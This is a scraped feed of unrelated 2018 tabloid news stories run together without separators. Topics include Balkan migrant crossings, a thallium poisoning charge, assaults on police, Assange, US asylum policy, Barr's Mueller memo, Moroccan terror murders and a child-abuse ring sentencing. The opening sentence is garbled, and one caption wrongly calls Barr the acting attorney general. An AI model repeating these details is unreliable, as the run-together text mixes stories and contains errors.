Just like the man who flew the aircraft, he made his friends at America's VetDogs which has been around for 72 years - very proud as he wound down for an extended Christmas break this week. 'We all felt such a tremendous sense of pride in not only having worked with the president, but all the different veterans and veteran's groups that we work with right here on Long Island and across the country,' John Miller, CEO of The Guide Dog Foundation said at the event in Smithtown, New York. Advertisement Dozens of migrants tramped towards Bosnia's border with Croatia, trying to cross illegally into the EU along a route that days earlier almost claimed the lives of a similar group. About 30 men, women and children, some dressed only in tracksuits, were seen following a snow-covered route established by smugglers late on Wednesday. In an area frequented by wolves and bears, it takes them to the foot of the Pljesevica mountain from where they are directed to walk several kilometres through thick pine forest to a border crossing not monitored by Croatian police. The group of migrants attempt to illegally cross the border into Croatia on the Pljesevica Mountain. More than 23,000 migrants, most from Pakistan, Afghanistan, Iraq or Iran, have entered Bosnia since January. Dozens of migrants tramped towards Bosnia's border with Croatia, trying to cross illegally into the EU along a route that days earlier almost claimed the lives of a similar group. Bosnia was bypassed in 2015 and 2016 when more than a million migrants passed through the Balkans on their way to western Europe One man carries a child on his shoulders as he attempts to make the border crossing into Croatia and into the EU. Even if they cross into Croatia, where they will hope to apply for asylum, most are likely to be returned to Bosnia A migrant smokes while attempting to illegally cross the border into Croatia. Croatian watchdog Border Violence Monitoring published a video on Sunday that showed armed police kicking refugees and illegally pushing them back into Bosnian territory The migrants, including a child below, have braved the bitter cold to make the dangerous crossing. About 30 men, women and children, some dressed only in tracksuits, were seen following a snow-covered route established by smugglers late on Wednesday Some made peace signs, but most were in too much of a hurry to talk. Ali, a 26-year-old from Algiers, stopped briefly to say he was not afraid of the winter as a Reuters photographer measured the temperature at 10 degrees Celsius below zero. Even if they cross into Croatia, where they will hope to apply for asylum, most are likely to be returned to Bosnia. Croatia denies accusations that its border police mistreat such migrants, though Croatian watchdog Border Violence Monitoring published a video on Sunday that showed armed police kicking refugees and illegally pushing them back into Bosnian territory. On the same day, Bosnian rescuers saved two dozens migrants who got trapped in a snowstorm trying to cross the mountain, some of whom were badly frostbitten. Bosnia has since become a major transit country as other states, notably EU members Hungary and Slovenia, have sealed their borders. In an area frequented by wolves and bears, it takes them to the foot of the Pljesevica mountain Ali, aged 26, from Algeria, left, and his friend, right, attempt to illegally cross the border into Croatia on the Pljesevica Mountain near Bihac, Bosnia. Ali stopped briefly to say he was not afraid of the winter as a Reuters photographer measured the temperature at-10c The migrants attempt to walk across Bosnia's western border to Croatia, often through thick forest. About 5,000 are now stuck in Bosnia, as the cold winter and Croatian police make it virtually impossible for them to continue their journey Bosnia has since become a major transit country as other states, notably EU members Hungary and Slovenia, have sealed their borders. It was bypassed in 2015 and 2016 when more than a million migrants passed through the Balkans on their way to western Europe. More than 23,000 migrants, most from Pakistan, Afghanistan, Iraq or Iran, have entered Bosnia since January. About 5,000 are now stuck there, as the cold winter and Croatian police make it virtually impossible for them to continue their journey. 'We have only one option to go to Europe, to cross these borders,' Wali Khan from Afghanistan told Reuters last week in the northwestern town of Bihac near the Croatian border. Khan said he had been arrested by Croatian police three times and returned to Bosnia. 'If there was peace in Afghanistan, we wouldn't be here.' Yukai Yang, 22, was charged Thursday with attempted homicide for allegedly poisoning his roommate A former Lehigh University student is accused of slowly poisoning his roommate and vandalizing the victim's belongings with racist graffiti. Yukai Yang, 22, was charged Thursday with attempted homicide and related offenses in addition to his previous charge of racial intimidation. Authorities say Yang, a chemistry major and Chinese international student, sickened his roommate over time by adding thallium to his roommate's mouthwash, food and drinks this past spring. His roommate of several years, Juwan Royal, experienced symptoms that included dizziness, shaking and vomiting. A blood test later found Royal positive for thallium, an ingredient formerly used in rat poison and now banned in the US. 'This was over a period of time with thallium being added to foods and drinks in the refrigerator,' Northampton County District Attorney John Morganelli said Thursday morning. 'He was getting worse all the time.' Royal called police for the time in February when he drank from a water bottle in his room and his tongue began to burn. He said he woke up Yang to tell him what happened and washed his mouth out, but his tongue remained sore for a few days. Juwan Royal tested positive for thallium believed to placed in his drinks and mouthwash over time in the spring while the and Yang attended Lehigh University Then on March 18 Royal got sick again and police were called. Morganelli said Yang told officers that the milk in the refrigerator and Royal's mouthwash had changed color. He told officers he believed someone was tampering with the belongings in their room. Royal became sick again on the morning of March 29 when he began throwing up and shaking. He was taken to the hospital for treatment. About a week later, graffiti that said 'n***** get out of here' was scrawled on Royal's bed and police were called. Yang provided a written statement that said he left the room and locked the door. But Morganelli said police compared the graffiti with Yang's letters and saw similarities. Yang was charged with ethnic intimidation, institutional vandalism and criminal mischief in that case. Yang is no longer enrolled at Lehigh (pictured) and his student visa has been revoked It wasn't until the graffiti investigation that Royal took a blood test which tested positive for thallium, with 3.6micrograms per liter above the safe toxicity level for people, Morganelli said. After Yang's computer was seized, he admitted to buying chemicals online but said it was intended to harm himself if his grades started to decline. He did admit to mixing the chemicals with food and drinks in the dorm refrigerator. 'Initially, Mr. Royal was dumbfounded by this as everyone else, because he believed they had a fairly cordial relationship as roommates,' Assistant District Attorney Abe Kassis said. Royal, who graduated in the spring, was immediately treated for poisoning, but prosecutors say he still suffers physical effects from the poisoning. Yang was sent to Northampton County Prison in lieu of $200,000 bail. He is no longer enrolled at Lehigh, and his student visa has been revoked. Police have released shocking footage of a man punching a female officer several times in the face after he pushed her colleague into a hedge. The two officers were assaulted by a man after they responded to a concern for safety in North Hykeham near Lincoln, in Lincolnshire on December 10. The violence was captured on a body warn camera. After one officer is pushed into a bush and a colleague then tries to restrain the man. The man then punches a female officer in the face before they both fall to the floor where a scuffle ensues and the man appears to yank the officer's hair. Chief Constable Bill Skelly of Lincolnshire Police said assaults on officers will not be tolerated. He said: 'We have a duty to look after and protect the public but we are all too often prevented from doing so due to violent individuals who choose to attack those who are there to help them.' He added that assaults are not part of an officer's job and stressed emergency service workers are human beings doing a difficult job. Police released the shocking footage of the man wearing sunglasses assaulting the officers He said: 'Most importantly it should be remembered that they are fathers, mothers, sons and daughters. When they are attacked they become victims just like any other, but victims who have been attacked while trying to help others.' The Assaults on Emergency Workers Act was introduced in 2018 in response to the increased number of assaults on emergency workers. It allows the courts to impose up to a year's imprisonment or an unlimited fine He shoves one officer into a hedge in a residential street before repeatedly punching the other Under the new legislation, emergency workers include police and police staff, ambulance workers and NHS staff as well as Fire and Rescue staff, Prison Officers and those working in other custodial duties and whether these workers are paid or unpaid. Where assaults cause more serious injury the legislation considers the offence 'aggravated' if it is committed against an emergency worker and gives the Courts the option to impose even harsher sentences. The news comes after a spate of attacks on officers up and down the country. In late November, shocking footage emerged of yobs beating two police men on a south London street. In mobile phone footage posted on Twitter two men can be seen punching and kicking the male and female officer as scores of people pass without intervening. A Met Police spokesman told MailOnline a 20-year-old man was arrested and charged with causing ABH and assaulting an emergency services worker. He was also charged with driving without a licence or insurance after being stopped by police. He will appear at Wimbledon Magistrates Court today. Two other men involved, one of which is seen in the video footage, are still at large. Julian Assange's father has called for his son's 'torment' to end after he visited him inside the Ecuadorian embassy in London. The WikiLeaks founder has been living inside the embassy for more than six years amid fears he will be extradited to the United States if he leaves. He was visited on Thursday by his father John and two German MPs who are campaigning for Mr Assange to be able to leave the embassy without being extradited. Julian Assange was visited on Thursday by his father John (middle) and two German MPs (Sevim Dagdelen, left, and Heike Haensel) who are campaigning for Mr Assange to be able to leave the embassy without being extradited Mr Assange Sr, who lives in Sydney, Australia, said his family wanted to see his son in normal circumstances again. 'It is time for this torment to end,' he said. 'His health is declining after years of ongoing stress, no sunlight and restricted access to visitors.' Mr Assange has been visiting his son every Christmas since 2012. He said he was not yet certain if he could see his son on Christmas Day because of restrictions to visitors imposed by the Ecuador government earlier this year. German MPs Heike Haensel and Sevim Dagdelen spent more than an hour inside the embassy meeting Julian Assange. They called on European governments to help break the deadlock and prevent any extradition to the US. Mr Assange Sr, who lives in Sydney, said his family wanted to see his son (pictured on December 6) in normal circumstances again They accused the UK Government of not taking steps to secure Mr Assange's future safety. 'His situation is extremely precarious and inhuman. He is isolated for 80% of the time and cannot speak about issues,' said Ms Dagdelen. Assange has been branded Britains most unwelcome houseguest since seeking asylum in Ecuadors Knightsbridge embassy in the summer of 2012. At that time he was fleeing an investigation by the Swedish authorities into allegations of rape and sexual assault. Scotland Yard mounted a round-the-clock security operation that cost taxpayers more than 12million before abandoning it several years later. Assange has still refused to leave, despite suffering depression and ill health and falling out with his hosts who cut off his internet access. The Ecuadorians have given him citizenship and considered various schemes to help him escape, including granting him diplomatic status. Assange believes he will be arrested for breaching bail before being extradited to the US to face trial and potentially life in prison. The Department of Homeland Security on Thursday announced a major change in immigration policy, saying it would send non-Mexican immigrants back south of the border while their asylum requests are processed. Mexico's government said that it would accept some of them for humanitarian reasons, in what many will see as a concession to President Donald Trump's administration. 'Aliens trying to game the system to get into our country illegally will no longer be able to disappear into the United States, where many skip their court dates,' Homeland Security Secretary Kirstjen Nielsen said in a statement. 'Instead, they will wait for an immigration court decision while they are in Mexico.' Homeland Security Secretary Kirstjen Nielsen announced a new policy on Thursday that will send asylum-seekers who enter the country from Mexico back where they came from while their cases are considered In this November 2018 photo, a stream of Salvadoran migrants are pictured hearing to the U.S. through Mexico; many eventually claimed asylum when they reached American soil The Immigration and Naturalization Act includes a mechanism to force asylum-seekers to await decisions in Mexico. Using it could prompt new court challenges, however. A federal judge quickly issued a temporary restraining order last month against the administration's last attempt to manage a flood of asylum-seekers, ruling that the government can't automatically deny asylum to people who enter the U.S. between official border crossings. That order expired on Wednesday. Separately, a federal judge on Wednesday blocked administration policies that prevented immigrants who suffered gang violence or domestic abuse in their home countries from being considered political refugees who can make asylum claims. Judge Emmet Sullivan declared that some of the guidance that then-Attorney General Jeff Sessions issued this year cannot be used to determine whether an immigrant has a credible fear of persecution or torture in their home countries, the first step to making an asylum claim in the U.S. In response to Thursday's announcement, Mexico's foreign ministry underscored that it still has the right to admit or reject the entry of foreigners into its own territory. 'Mexico's government has decided to take the following actions to benefit migrants, in particular unaccompanied and accompanied minors, and to protect the rights of those who want to start an asylum process in the United States.' The ministry said the actions taken by the Mexican and U.S. governments do not constitute a 'safe third country' scheme, where migrants would have to request U.S. asylum while in Mexico. Trump tweeted on Nov. 24 that migrants at the border would stay in Mexico until their asylum claims were individually approved in U.S. courts. Mexico's new president, Andres Manuel Lopez Obrador, took office on Dec. 1. The arrival of several thousand Central Americans in Mexico's border city of Tijuana about a month ago prompted Trump to mobilize the U.S. military to beef up border security, while restricting the number of asylum applications accepted per day. President Donald Trump has long been an opponent of loopholes in the U.S. immigration system that allow immigrants to enter the U.S. without documentation, knowing they'll be released into the interior of the country while asylum claims are adjudicated Illegal crossings at the southern border have dropped dramatically since the late 1970s, but in recent years applications for asylum have ballooned and more Central American families and unaccompanied children are migrating to the United States. When they request asylum, the U.S. is forced to review their cases. Those can take months or years to process and, in the meantime, the immigrants are released. Trump recently ordered that the asylum claims of migrants from Central America mainly Guatemala, Honduras and El Salvador be automatically denied. But in recent weeks, courts have accepted lawsuits challenging the legality of that order and have blocked officials from implementing it. Nielsen said Thursday's decision will reduce illegal migration 'by removing one of the key incentives that encourages people from taking the dangerous journey to the United States in the first place.' 'This will also allow us to focus more attention on those who are actually fleeing persecution.' The section of U.S. law that Nielsen is relying on specifies that 'aliens' who arrive 'from a foreign territory contiguous to the United States' can be sent back with an order from the U.S. attorney general. Deputy Attorney Gen. Rod Rosenstein said Thursday that a memo President Trump's attorney general nominee sent him in June blasting elements of the Russia probe had 'no impact' on the investigation. He spoke after a report detailed AG nominee William Barr's detailed memo arguing that Special Counsel Robert Mueller ought not be permitted to pursue an obstruction of justice case against President Trump a view Barr apparently flagged with Trump's legal team. 'Obviously, our decisions are informed by our knowledge of the actual facts of the case, which Mr. Barr didn't have,' Rosenstein told reporters Thursday, in a dig at the Barr memo, which the former U.S. attorney general sent him in June. 'I didn't share any confidential information with Mr. Barr,' Rosenstein continued. 'He never requested that we provide any non-public information to him, and that memo had no impact on our investigation,' Rosenstein said during a briefing on an unrelated matter. He referred to Mueller as 'bob' and vouched for his integrity. 'I believe it is in the best interest of everyone - the President, Congress, and, most importantly, the American people - that this matter be resolved by allowing the Special Counsel to complete his work,' he said. Rosenstein said Barr's memo didn't have an impact, adding: 'Obviously, our decisions are informed by our knowledge of the actual facts of the case, which Mr. Barr didn't have' William Barr criticized the Russia probe in an unsolicited memo to the Justice Department 'The memo that you made reference to reflects Mr. Barr's personal opinion,' Rosenstein continued. 'Lots of people offer opinions to the Department of Justice, but they don't influence our own decision making.' Rosenstein spoke on a day the Associated Press reported acting attorney general Matt Whitaker, who has publicly expressed his own views critical of the Russia probe, does not need to recuse himself from Russia probe oversight, which he has now. The Barr memo drew immediate scrutiny after the Wall Street Journal reported on it Wednesday night. Word of Whitaker's role, pending confirmation of an attorney general by the Senate, comes as the Mueller probe has secured a guilty plea from former Trump lawyer Michael Cohen President Donald Trump nominated William Barr to be his attorney general. Barr argued in a memo that the special counsel can't pursue obstruction of justice charges against the president. Trump's hand-picked 'acting' attorney general William Barr has publicly slammed the Mueller probe Said Senate Minority Leader Charles Schumer: 'Mr. Barr believes presidents in general and more frighteningly, President Trump, who has shown less respect for the rule of law than any president, are above the law,' Schumer said 'The fact that he holds these deeply misguided views and chose to launch them in an unprovoked written attack on the Special Counsel unquestionably disqualifies Mr. Barr from serving as attorney general again.' The latest version of the Journal's report notes that Barr shared his memo with a senior member of Trump's legal team. The paper reported that Barr sent an unsolicited memo to the Justice Department this year criticizing as 'fatally misconceived' the special counsel's investigation into whether the president took steps to obstruct a probe into ties between his campaign and Russia. The 20-page memo, sent in June while Barr was in private practice and months before he was selected by Trump for the Justice Department job, could factor into his future confirmation hearings before the Senate Judiciary Committee and may prompt questions about his ability to oversee the special counsel's investigation in an open-minded and impartial manner. The document argues that there could be disastrous consequences for the Justice Department and the presidency if special counsel Robert Mueller were to conclude that acts a president is legally permitted to take - such as firing an FBI director - could constitute obstruction just because someone concludes that there was corrupt intent. 'Mueller should not be permitted to demand that the President submit to interrogation about alleged obstruction,' Barr wrote. 'Apart from whether Mueller (has) a strong enough factual basis for doing so, Mueller's obstruction theory is fatally misconceived.' Barr acknowledged that a president can commit obstruction of justice by destroying evidence or tampering with witnesses. But, he said, he is unaware of any accusation like that in the Mueller investigation, and he said it would 'do lasting damage to the Presidency and to the administration of law within the Executive branch' if an act like the firing of ex-FBI chief James Comey could amount to obstruction. The memo was sent to Deputy Attorney General Rod Rosenstein, who appointed Mueller, and to Steven Engel, the head of the Justice Department's Office of Legal Counsel, which provides legal advice to executive branch agencies. It was turned over to the Senate Judiciary Committee, which released it along with questionnaire responses that Barr submitted to the panel. This undated photo provided by Time Warner shows William Barr. Barr, criticized an aspect of the special counsel's Russia investigation in an unsolicited memo he sent to the Justice Department. The memo was summarized to The Associated Press by a person familiar with it. It could factor into Barr's confirmation hearings and prompt questions about whether he can be unbiased in overseeing the investigation. The document, sent in June, expresses concern with special counsel Robert Mueller's investigation into whether Trump obstructed justice. (Time Warner via AP) The memo adds to a record of other statements given by Barr over the last year or so about the Mueller investigation. Those include comments to a newspaper expressing concern about the fact that multiple members of the Mueller team had made political contributions to Democratic political candidates. Acting Attorney General Matthew Whitaker has criticized the investigation in even more pointed ways. A spokesman for Mueller declined to comment on the memo, which was first reported by The Wall Street Journal. Justice Department spokeswoman Kerri Kupec said Barr's views were based solely on publicly available information and were expressed 'on his own initiative.' In the memo, Barr says he is writing 'as a former official deeply concerned with the institutions of the Presidency and the Department of Justice.' He acknowledged that he was 'in the dark about many facts.' Kupec said: 'Following the announcement of Mr. Barr's nomination, senior Department ethics officials were consulted and advised that, under the applicable rules of professional conduct, Mr. Barr's memo would present no conflict as to his duties as Attorney General. Mr. Barr has stated that, if confirmed, he will make any decisions based on the actual facts and circumstances of any particular matter.' Barr served as attorney general from 1991 until 1993 under President George H.W. Bush. A manhunt is underway for two suspects wanted over a shocking robbery and attack on a woman in the same exclusive Washington DC neighborhood where a jogger was recently stabbed to death. Security footage shows the moment the victim was violently assaulted as she arrived at the entrance to her apartment in Logan Circle. The woman can be seen at her front door after being followed by the two suspects who creep up behind her in the courtyard of her building. They then hit her over the head, knocking her to the ground before repeatedly kicking her in the face and running off with her bag. Security footage shows the woman being stalked by the two suspects as she arrives home The victim arrives at her front door as the pair creep up behind her in the courtyard of her apartment building in the same exclusive DC neighborhood where a jogger was killed The pair hit the woman over the head, knock her to the ground and repeatedly kick her in the face before running off with her purse, two credit cards, cash and a tote bag It happened at the Windsor Apartments in Logan Circle at around 9pm last Thursday and the pair stole a purse, two credit cards, cash and a tote bag, WJLA reports. The robbery took place in the same neighborhood where newly engaged technology company executive Wendy Martinez was stabbed to death while jogging in September. Georgetown graduate Wendy, 35, was out for an evening run near Logan Circle just before 8pm at the intersection of 11th and P streets when she brutally stabbed in what police believe was a random attack. Her family said: 'Wendy Karina Martinez was the light of our lives. Not only was she an avid runner, but she was a devout Christian, a wonderful friend, and a driven professional. Everything you hope that a daughter and a friend could be. 'She was also excited to be planning her upcoming wedding to her fiance, Daniel Hincapie.' Newly engaged Wendy Martinez was brutally stabbed while jogging in September Martinez, seen here with her Daniel, was an avid jogger known for running for miles around DC Police released this surveillance footage, left, following the death of Wendy Martinez, right Martinez lived not far from the crime scene and was an avid jogger known to run for miles. Shocking footage showed a mortally wounded Martinez running into a Chinese takeout store for help. She had just become engaged, according to her heartbroken family, with a storybook proposal and a emerald ring. A photo from the happy occasion shows fiance Daniel Hincapie in a blue suit, down on one knee, with a ring box open as she stood beaming. Anthony Crawford, 23, was arrested two days later and charged with first-degree murder while armed. Court records say he has a history of paranoia and drug use and police say his DNA was found on a knife used in the fatal stabbing. The brother of the prime suspect in the beheading of the two Scandinavian hikers has described him as 'illiterate' and controlled by an ISIS cell, while his wife said he refused to work even after she had a miscarriage. The suspect, named only as 'Younes', is an enthusiastic hunter who refused to get a job, according to his wife. She said the alleged killer had behaved normally in the days leading up to the brutal murders of Maren Ueland, 28, from Norway, and Louisa Vesterager Jespersen, 24, from Denmark, who were found dead near the village of Imlil in Morocco's High Atlas mountains on Monday. The suspect, named by his family as 26-year-old Younes, a father of one, was the first to be arrested in the investigation after his identity card was found at the scene. It comes as the father of one of the other three suspects, named as Rachid, said his son had abandoned his wife and four children to commit the murder, taking with him only an umbrella, a bag and a traditional robe. A woman who claimed to be the wife of one of the suspects, Younes, said he refused to work even when she was pregnant and after she lost the baby The brother of the suspect referred to as 'Younes' said the alleged killer was controlled by an ISIS cell Younes was described as illiterate and impressionable, by his brother. The brother, who declined to give his name and was pictured only from behind, said: My brother was just a young guy like all the others. Then he grew a beard and became religious. The first thing you have to know is that he is illiterate. That means it is easy for criminals to influence him to do whatever they want. Now the Government and those responsible have to find those people who convinced these impressionable young people to do this. Only God knows who influenced him. The police have to control those cells. They have to control them throughout the country because they are brainwashing our brothers and children. When asked about the days leading up to the crime, he said: My brother was normal. We didnt see any change in him. He went to the mosque as normal, he went out to town as normal. But he was meeting friends all the time and we dont know what they did together. Police launched an intensive manhunt after Maren Ueland and Louisa Vesterager Jespersen were found dead on Monday and local media released these images of the suspects The four suspects are all thought to be from the Marrakesh area. Police have not ruled out a terror link to the murders A picture has emerged showing a series of large knives the suspected killers wielded For sure, he was meeting the people who brainwashed him. Someone was telling him that the religion says certain things, and they were trying to convince him. Since he is illiterate, it is the governments fault because the education system is not good. He added: The last time I saw him was on Thursday. I didnt see him since and the crime happened on Sunday. Until today I cannot believe he did it. He police came and checked his room and they didnt find anything. So we dont know if he was really a part of this crime or not. Younes father added that the suspected terrorist asked him for a blessing before leaving to allegedly commit the grisly murder. The father, who asked not to be named but agreed to be pictured, described how his son said he was looking for work in the south of Morocco when he actually went into the mountains to commit the alleged crime. The father said: I was sick with the flu and I was asleep. Then my son came to me and he said dad, I want to leave Marrakech to look for a job. I said if it is for a job, I am happy for you to go. God bless you. He kissed my head and he asked me to pray for him. I told him, may God give him all the good things you want and may God bless you. He went on Wednesday night and when I asked him where he was going, he said to Dakhla (a town in the south of Morocco). Today three arrests were made at a bus station in Marrakesh after a trader alerted police when he saw the knives they were carrying as they tried to buy water. Investigators are pictured next to the bus where the men were arrested On Monday, we received the information that two tourists had been murdered in the mountains. I was shocked when I saw the videos and I saw my sons photograph on YouTube. It was like a huge weight falling on me. When this happened, I didnt know what to do or how to react. Today, they said they caught he other three suspects. We didnt agree with what happened. We didnt want our son involved, we didnt want it to happen in our country and we didnt want it to happen anywhere. We are good, educated people. We dont want anything bad to happen like this. Whenever we pray, we ask for peace and security for this country. We ask God to help our children not to have extremist thoughts, and that nobody would do bad things like what happened. Whenever someone meets with extremists, he should tell the authorities. We are fighting this kind of people. We dont want this in our country. Younes wife said he was obsessed with hunting and consistently refused to get a job, leading to marital strife. The woman, who dressed in a niqab and asked not to be named, said that her husband showed no signs of being a killer in the days leading up to the murder. We have never seen anything strange in his behaviour, she said. His friend were normal too. They used to just knock on his door and go hunting together. He used to like hunting very much. The only problem I had with him is that he doesnt like to work, so we were arguing all the time about that. Apart from that, everything was normal. Even my parents spoke to him and told him he had to find a job. I was pregnant and I had a problem and I lost the baby but still he didnt want to get a job. Maren Ueland (right), 28, from Norway, and Louisa Vesterager Jespersen (left), 24, from Denmark, were found dead near the village of Imlil in Morocco's High Atlas mountains on Monday Video footage has emerged of four suspects prior to the attack on the tourists in which they sit before the black flag of ISIS and pledge allegiance to the terror group She added: Today, his mother told me the police raided their house. I asked how she felt and she said she was shocked and afraid. What can I say? I hope that God will show the truth. I have nothing more to say. Meanwhile, the father of one of the other suspects, named as Rachid, said that he abandoned his four children to commit the murder without telling anybody where he was going. My son got married 10 years ago and since then he has lived alone, he said. Then he worked with me. I taught him my trade as an upholsterer. I dont have an exact date, but he stopped working for me maybe two years ago and set yo his own upholstery business. But whenever he needs materials or tools, he asks me for it. I have never felt that there is anything wrong about him. If I did, j would have immediately told the police. The relationship between us is like this. Whenever he needs something, he comes to take it from me. On Tuesday, my son asked me to bring him some raffia. I asked him how much and he said he only had 600 Dirhams and I gave it to him on Wednesday. When I asked him what he was going to do next, he told me he was going to get some wood. He said he needed it to work and I went back to work. I assumed he went to do his job too. Then the man selling us equipment called me and said my son was not picking up the phone. I tried calling him and he didnt answer my calls either. His daughters came to me and asked if I had seen their father. Then I didnt see him for a few days. The girls hadnt seen him since Friday morning. We had no idea he was about to commit a crime or we would have told the authorities. My son is a normal man. He didnt show he was a terrorist. If he was still working with me, I may have known something was wrong. But these days I see him only once a month for five or 10 minutes. His wife told me that when he went out to commit the murder, he took only an umbrella, a bag and a traditional robe. I was shocked when I found out. The families highlighted that they did not condone their sons alleged actions. We are against all crimes, and as Muslims we know that there is nothing in the religion that says you have to kill someone, Younes brother said. The Koran says that if someone kills one person without a reason, it is like he killed all of humanity. To kill someone in that way is not acceptable at all. As his brother, I am against what he did. Shailem Dodson, pictured today outside Winchester Crown Court was jailed for eight months for deliberately running over Rafael Zanin outside Halo nightclub in Bournemouth An 'immature' former soldier captured on CCTV ploughing into two nightclub bouncers in his car while drunk was today jailed for the horrific 'revenge' attack. Shocking footage shows Vauxhall Corsa driver Shailem Dodson, 20, smashing through metal railings at high speed, launching doorman Rafael Zanin into the air. Today a crown court judge told Dodson - who had been kicked out of the nightclub moments earlier - he committed the 'worst sort' of driving offence and branded him a 'very immature young man'. The judge condemned 'severely intoxicated' Dodson for getting behind the wheel of his black Corsa after he 'broke away' from his friend who was trying to calm him down after he was detained by the doormen. The former soldier was today jailed for eight months and banned from driving for three years and eight months following the attack at 2.30am on December 12 last year. Terrified onlookers rushed to Portuguese Mr Zanin's aid as he lay on the floor bleeding from the head, while a second doorman punched Dodson to knock him to the ground as he attempted to flee the scene. A jury also saw CCTV footage of Dodson punching doorman Darren Peterson, before being restrained on the floor as he allegedly spat at and threatened to kill the nightclub security staff. Prosecutors said Dodson 'used his car as a weapon' in a 'revenge attack' after being kicked out of Halo nightclub in Bournemouth, Dorset. Winchester Crown Court, Hampshire, heard Mr Peterson had escorted Dodson out of the club, where he then became aggressive despite his friend trying to calm him down. Opening the trial this month, prosecutor Rob Welling said: 'Mr Dodson was intent on getting his revenge. He used his car as a weapon and drove into two doormen.' CCTV footage showed Dotson mount the pavement in his Vauxhall Corsa, pictured The car struck Mr Zanin and threw him against the side of the night club He also said it was a 'miracle' Mr Zanin 'only ended up with cuts and bruises'. Sentencing Dodson, who served in the army for two-and-a-half years judge Susan Evans QC said today: 'You were in no fit state to get into a car, as heavily intoxicated as you were. 'You were severely intoxicated. I accept you had no intention to kill or seriously injure but you certainly intended to frighten the staff. 'It was seriously dangerous driving. 'Mr Zanin could so easily have been killed or received life changing injuries. 'A more dangerous manoeuvre it is difficult to imagine, and carried out in a state where you were in no position to control your vehicle. Dodson, a former soldier, tried to escape along the pavement after hitting Mr Zanin Dodson crashed into a lamp post and tried to run away from the scene 'You're a very immature young man, as you candidly said in your evidence. You don't listen to good sense.' The court heard Dodson climbed into the car with 88mg of alcohol in 100ml of breath - over twice the legal limit of 35mg. Janick Fielding, defending, said: 'I accept this was a horrific piece of driving. 'The consistency of that acceptance is matched by the consistency of remorse this defendant has felt since the incident. 'The defendant accepts this accident occurred as a result of him undertaking a manoeuvre he ought never to have considered.' He added Dodson was suffering from mental illness and had self-harmed and been sectioned since the incident occurred. He added: 'This is clearly a young man who needs help and may need help for some time to come.' Dodson, of Blandford, Dorset, admitted dangerous driving, drink driving and common assault. Matthew Law, 50, from London, pleaded guilty to conspiring to rape a child under the age of 13 and was sentenced to 20 years in jail at Bristol Crown Court today A twisted paedophile who plotted to rape a seven-month-old baby has been jailed for 20 years. Mathew Law, 50, was an integral member of a paedophile ring which sexually abused toddlers and babies - evading detection using the dark web. He is the eighth person to be convicted as part of an investigation led by the National Crime Agency (NCA) following a two-week trial at Bristol Crown Court. Law, who pleaded guilty to conspiring to rape a child under the age of 13, first began communicating with a prominent member of the paedophile ring, Christopher Knight, 39. Ringleader Knight, of Manchester, was jailed for 24 years in 2015 after being convicted of rape of a child under 13, conspiracy to rape a child under 13, sexual assault of a child under 13 and possessing indecent images of children. Knight introduced Law to other like-minded individuals and they began planning the 'most shockingly sordid exploitation' of toddlers and babies. One of the men had access to a baby who, over a period of nine months, was sexually abused by the group. The baby was aged between six and twelve months at the time - and a toddler, aged four, was also a victim. Law's relationship with the group grew and he became an integral member. The men, who used encrypted communication including TOR, would travel across the UK to be in the same place to abuse the baby. The group also communicated using regular lines of communication, including phone calls, texts and Skype messaging. Those who couldn't get to the locations would meet up elsewhere and view the abuse as it was happening using online video conferencing facilities. In 2014, seven members of the group were identified by NCA officers and arrested. They were sentenced to a total of 107 years after a trial in 2015. Who else has been convicted as a result of the NCA investigation? Other convicted members of the paedophile ring are Robin Hollyson, 34, who was found hanged in jail three months into a 24-year jail term. Hollyson admitted filming himself raping a three-month-old baby in what the judge at the time called one of the most horrific abuse cases on record. John Denham, formerly named Ben Harrop, 53, was sentenced to 12 years in jail for conspiracy to rape a child under 13, conspiracy to sexually assault a child under 13, distributing indecent images of children and extreme pornography. Matthew Stansfield, 38, was jailed for 14 years for conspiracy to rape a child under 13, breach of Sex Offenders Prevention Order (SOPO) and making/possessing indecent images of children. Matthew Lisk, 36, was sentenced to seven years for conspiring to engage in sexual activity with a child under 13 and distributing indecent images of children. David Harsley, 55, was sentenced to two years for conspiracy to engage in sexual activity with a child under 13. Adam Toms, 37, was sentenced to 16 years for rape of a child under 13, sexual assault of a child under 13, administering a substance and possessing indecent images of children. Advertisement But officers continued to trawl through thousands of lines of data, reviewed hundreds of hours of interviews, re-reading statements and evidence. This led to Law, from London, being identified, arrested and charged with conspiracy to rape a child under the age of 13. Sentencing him, HHJ Lambert said: 'This was a case of victims with particular vulnerability upon whom you inflicted almost indescribable depravity. 'There is no doubt you bear a heavy burden of responsibility for an atrocious offence'. His sentence - broken down as fifteen years in prison and five years on licence - brings the total for the group to 127 years. Ty Surgeon, operations manager at the NCA, said: 'Mathew Law is the eighth individual to be jailed since this investigation began in 2014. 'This group of men behaved in the most depraved and deviant way. 'The abuse they inflicted on their victims is the worst kind of abuse I have ever seen, and the impact of investigating this case lives with me and my officers to this date. 'Law's conviction shows how determined the NCA is in its fight against those involved in child sexual exploitation and abuse and will leave no stone unturned in the pursuit of offenders. 'If you are engaging with people online and watching and, or sharing indecent images of children, you will be identified and brought to justice.' Passing sentence today judge Julian Lambert called Law 'dangerous and depraved'. He said: 'I'm sure an overt act took place and that a baby was raped whilst you were present in furtherance of the conspiracy. 'There is no doubt you bear a heavy burden of responsibility for atrocious offence albeit you are not the worst offender.' He said Law was 'dangerous' and that 'your depravity is so entrenched that this, taken together with all the surrounding circumstances leads to the sure conclusion that there is a significant risk of serious harm from you in the future'. Speaking about the group as a whole Judge Lambert previously said: 'In the worst nightmare, from the very deepest recesses of the mind, at the darkest hour of the night, few can have imagined the terrifying depravity which you men admit' Law had a previous conviction relating to child abuse images dating from 1999 but the judge said no descriptions of the images were available. 'There was other evidence that at the time you took a sexual interest in the very young. Further character evidence showed that interest continued after the commission of this offence,' he said. Child protection charity The Lucy Faithfull Foundation runs the Stop It Now! helpline which offers confidential advice to anyone concerned about their own or someone else's behaviour towards children. Deaf model and activist Nyle DiMarco took to his Twitter to blast Delta after he was met at a gate by an attendant with a wheelchair on Tuesday. In a video shared on Twitter, the America's Next Top Model and Dancing With the Stars winner could be seen having an awkward exchange with a male attendant as he exits a plane. 'Not a clear video but apparently being deaf at an airport means I need a wheelchair,' he said in the clip that has been liked more than 6,500 times. During the exchange, the attendant shows DiMarco a screen and asks if it is him. The awkward exchange continues for a few moments before the two shake hands and the clip ends. America's Next Top Model and Dancing With the Stars winner, Nyle DiMarco, was greeted by a male attendant with a wheelchair on Tuesday as he exited a Delta plane 'Y'all should've seen the look on the guy's face tho lmao,' the model added. 'He knew delta made a huge mistake.' Most who commented on the two posts shared their 